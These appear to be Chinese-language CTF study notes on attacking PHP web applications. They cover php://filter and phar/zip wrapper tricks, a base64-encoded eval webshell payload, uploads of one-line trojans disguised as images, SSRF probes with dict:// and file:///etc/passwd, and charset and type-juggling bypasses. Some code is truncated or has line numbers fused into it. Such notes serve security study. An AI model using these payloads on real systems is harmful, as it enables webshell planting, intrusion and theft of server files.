1 2 3 4 5 6 7 8 9 10 11 12 <?php show_source(__FILE__); $c = "<?php exit;?>"; @$c.=$_GET['c']; @$filename = $_GET['file']; @file_put_contents($filename, $c); highlight_file('tmp.php'); ?> # 先对内容做base64-decode,然后再写入文件 php://filter/write=convert.base64-decode/resource=abc.php&c=0PD9waHAgQGV2YWwoJF9SRVFVRVNUWydoJ10pOz8%2B # php 在做 base64_decode 的时候会自动去掉无法解析的字符<?php exit;?>会变成phpexit,因为base64是每4个字符进行解析的,因此前面加上任意字符补全,注意如果base64里面有+号,要记得 urlencode
利用伪协议就可以绕过 php 的 is_file,然后读取文件
1 2 3 4 5 6 $a = '123.php' ; $b = 'php://filter/resource=123.php' ; var_dump(is_file($a)); var_dump(is_file($b));
写入文件, 数据在body那边传过去,可以用GET,也可以用 POST 传过去
将 user 用 body 传过去,注意 body 那边不是表单的形式,是直接把 body 的数据整个提交1 2 3 4 5 GET /?user=php://input HTTP/1.1 Host: 10.255.10.157:8087 Content-Length: 17 the user is admin
data:// 将 include 的文件流重定向到用户控制的输入流
可以用于控制 file_get_contents 的内容为用户输入的流
1 2 3 $file=$_GET['file' ]; $data = @file_get_contents($a,'r' ); echo $data;
file_get_contens支持data协议,并且可以指定任意的域名,利用 data://yourname.auu/data/plain;base64,xxx
这样的 payload 绕过 php 的 parse_url 对域名和路径的限制。
phar:// 发现有一个文件上传功能,无法绕过,仅能上传jpg后缀的文件。与此同时,无法进行文件包含截断。allow_url_include=on 的状态下,就可以考虑phar伪协议绕过。
写一个shell.php文件,里面包含一句话木马。然后,压缩成xxx.zip。然后改名为xxx.jpg进行上传。最后使用phar进行包含 这里的路径为上传的 jpg 文件在服务器的路径
zip:// 上述 phar:// 的方法也可以使用 zip://
然后吧1.php文件压缩成zip,再把zip的后缀改为png,上传上去,并且可以获得上传上去的png的地址。
1.zip文件内仅有1.php这个文件
1 2 3 4 /php?file=zip: /php?file=zip:
dict:// 1 2 3 4 # 查看 redis 中的 info 数据 /index.php?url=dict://127.0.0.1:6379/info # 查看 ssh 的 banner /index.php?url=dict://127.0.0.1:ssh端口/info
file:// 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 /ssrf.php?url=file:///etc/passwd // 利用 file://localhost 来读取本地文件 /index.php?url=file://localhost/var/www/html/flag.php ``` ## 文件上传漏洞 正常的文件上传流程是这样的,首先接收 POST 的文件,在 `tmp` 目录下生成临时文件,文件名是 `php[A-Za-z0-9]{6}`,在 php 处理后删除临时文件,虽然没有文件上传,但是只要文件上传开启了就一定会创建临时文件,在这中途如果 php 意外退出则临时文件不会被删除,造成 `/tmp` 目录下可以留下任何内容。 内容构造好后,单纯爆破 `/tmp/phpxxxxxx` 文件名是不太现实但是也可行的。 通过文件包含,让其包含本身,造成无限循环后发出 SIGSEGV 信号,可以导致 php 意外退出。 ## 一些函数 ### stripos/strpos stripos() 函数返回字符串在另一个字符串中第一次出现的位置,如果没有找到该字符串,则返回 false。该函数对大小写不敏感,strpos() 函数是大小写敏感的。但是在返回值为0的情况下,弱类型比较下 0 == false ```php $a = 'a'; if(stripos($r, 'a') == false) { // 0 是 $r存在字符串 'a',但是由于0和false是相等的,所以就执行了这里 } if(stripos($r, 'a') === false) { // 这种情况下,$r 中必须不包含 'a',才会执行这里 } if(strpos([], "a") !==false) { // strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null !== false }
eregi eregi() 函数在一个字符串搜索指定的正则表达式的字符串,搜索不区分大小写,区分大小写使用 eregi,如果匹配成功返回 true,否则则返回 false。
1 2 3 4 5 6 7 8 9 $password = "abc" ; if (! eregi ("[[:alnum:]]{8,10}" , $password)){ print "Invalid password! Passwords must be from 8 - 10 chars" ; } else { print "Valid password" ; }
stristr stristr() 函数搜索字符串在另一字符串中的第一次出现。该函数是不区分大小写的。如需进行区分大小写的搜索,请使用 strstr() 函数。
1 2 3 4 5 stristr(string, search, before_search)
iconv iconv 函数用于做编码转换,函数原型
1 2 3 4 string iconv ( string $in_charset , string $out_charset , string $str ) in_charset:输入的字符集 out_charset:输出的字符集 str:要转换的字符串
iconv 在字符编码转换时可能导致字符串截断
。当 $str
中有一个字符不能被目标字符集所表示时,$str
从第一个无效字符开始截断并导致一个 E_NOTICE。 例如:
1 $d = iconv("UTF-8" , "gb2312" , $c);
该代码是将变量 $c
从UTF-8 编码转换为 gb2312。那么当 $c
中存在一个不能被 gb2312 表示的字符时,那么就会截断。
转义函数 PHP 的字符串向数据库进行写入时,为避免数据库错误,需要对特殊字符进行转义(字符前加上 \)。特殊字符:单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)。
addslashes 对特殊字符加上转义字符,返回一个字符串
stripslashes 该函数为 addslashes() 的反函数,去掉转义字符串,返回一个字符串
strtr 转换字符串中特定的字符,如果 from 和 to 参数的长度不同,则会被格式化为最短的长度。
1 2 3 4 5 strtr(string,from,to) strtr(string,array) # 按字符做替换,from 中每个字符替换成 to 中对应顺序的字符 # 12341111234 var_dump(strtr('abcd111abcd', 'abcd', '1234'));
数组形式的参数
1 2 3 4 <?php $arr = array ("Hello" => "Hi" , "world" => "earth" ); echo strtr("Hello world" ,$arr);?>
格式化字符串
sprintf, 把格式化的字符串写入变量中
vsprintf,与 sprintf 功能相同,但是 vsprintf 中的参数位于数组中
fprintf,把格式化的字符串写入指定的输出流(例如:文件或数据库)
vfprintf,与 fprintf 功能相同,但是 vfprintf 中的参数位于数组中
printf,输出格式化的字符串
vprintf,与 printf 功能相同,但是 vprintf 中的参数位于数组中
1 2 3 4 5 6 7 8 9 10 11 12 13 $number = 2 ; $str = "Shanghai" ; printf("在%s有 %u 百万辆自行车。" ,$str,$number); vprintf("There are %u million bicycles in %s." ,array ($number,$str)); $txt = sprintf("There are %u million cars in %s." , $number, $str); $txt = vsprintf("There are %u million bicycles in %s." ,array ($number,$str)); echo $txt;$file = fopen("test.txt" ,"w" ); echo fprintf($file,"There are %u million bicycles in %s." ,$number,$str);echo vfprintf($file,"There are %u million bicycles in %s." ,array ($number,$str));
curl curl是支持 file://host/path
, file://path
这两种形式,但是即使有 host, curl仍然会访问到本地的文件。用 ?
或者 #
可以截断 url 后面拼接的 /
, payload: file://www.baidu.com/etc/flag?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $url = $_GET['site' ]; $url_schema = parse_url($url); $host = $url_schema['host' ]; $request_url = $url."/" ; if ($host !== 'www.baidu.com' ){ die ("wrong site" ); } $ci = curl_init(); curl_setopt($ci, CURLOPT_URL, $request_url); curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1 ); $res = curl_exec($ci); curl_close($ci); echo ($res);
PHP的cURL支持通过给 CURL_POSTFIELDS 传递关联数组(而不是字符串)来生成 multipart/form-data 的POST请求。可以使用“@+文件全路径”的语法附加文件,将会读取该文件内容,并作为POST请求的内容。
注:PHP5.4及以下版本仅支持@语法形式;PHP5.5两种都是支持的,设置 CURL_SAFE_UPLOAD=true 强制使用CURLFile方式;PHP5.6+仅支持CURLFile方式,即使设置CURL_SAFE_UPLOAD=false也是毫无意义的。
1 http://120.55.42.243:20010/index.php?url=@/opt/api/dnsapi/views.py
其他函数
ctype_upper 检查是否为大写字符
htmlentities 将字符转换为 HTML 转义字符
implode 将数组拼接成字符串
数据库相关 mysql_real_escape_string 转义 SQL 语句中使用的字符串中的特殊字符,会转义单引号和双引号,下列字符受影响:
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
数据库字符集绕过 在默认情况下,mysql字符集为 latin1
,而执行了 set names utf8
以后,character_set_client、character_set_connection、character_set_results等与客户端相关的配置字符集都变成了 utf8,但character_set_database、character_set_server 等服务端相关的字符集还是 latin1。
1 2 3 4 5 6 7 8 $db = mysql_connect($dbhost, $dbuser, $dbpass); mysql_select_db($database,$db); mysql_query("set names utf8" ); if ($username === 'admin' ) {$result = $mysqli->query("SELECT * FROM z_users where username = '{$username}' and password = '{$password}'" ); }
character_set_client 和 character_set_connection 被设置成了utf8,而内部操作字符集其实也就是username 字段的字符集还是默认的 latin1。于是整个操作就有如下字符串转换过程:
utf8 --> utf8 --> latin1
最后执行比较username=’admin’ 的时候,’admin’ 是一个latin1字符串。Mysql在转换字符集的时候,将不完整的字符给忽略了。